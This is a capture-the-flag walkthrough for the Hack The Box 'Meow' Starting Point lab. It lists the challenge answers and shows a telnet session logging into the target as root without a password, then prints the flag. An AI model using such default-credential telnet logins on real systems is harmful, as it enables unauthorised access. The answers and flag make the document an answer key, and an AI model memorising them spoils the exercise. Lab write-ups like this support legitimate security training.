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What does the acronym VM stand for?

Virtual Machine

What tool do we use to interact with the operating system in order to start our VPN connection?

terminal

What service do we use to form our VPN connection?

openvpn

What is the abreviated name for a tunnel interface in the output of your VPN boot-up sequence output?

tun

What tool do we use to test our connection to the target?

ping

What is the name of the script we use to scan the target’s ports?

nmap

What service do we identify on port 23/tcp during our scans?

telnet

What username ultimately works with the remote management login prompt for the target?

root

Submit root flag

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➜  kali telnet 10.129.199.11 23
Trying 10.129.199.11...
Connected to 10.129.199.11.
Escape character is '^]'.

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Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 22 Dec 2021 12:21:06 PM UTC

  System load:  0.0               Processes:             139
  Usage of /:   41.7% of 7.75GB   Users logged in:       0
  Memory usage: 4%                IPv4 address for eth0: 10.129.199.11
  Swap usage:   0%


75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Meow:~# pwd
/root
root@Meow:~# ls -la
total 36
drwx------  5 root root 4096 Jun 18  2021 .
drwxr-xr-x 20 root root 4096 Jul  7 11:02 ..
lrwxrwxrwx  1 root root    9 Jun  4  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3132 Oct  6  2020 .bashrc
drwx------  2 root root 4096 Apr 21  2021 .cache
-rw-r--r--  1 root root   33 Jun 17  2021 flag.txt
drwxr-xr-x  3 root root 4096 Apr 21  2021 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r--r--  1 root root   75 Mar 26  2021 .selected_editor
drwxr-xr-x  3 root root 4096 Apr 21  2021 snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#

HTB{b40abdfe23665f766f9c61ecba8a4c19}

HTB, Starting Point, Tier 0
linux Telnet
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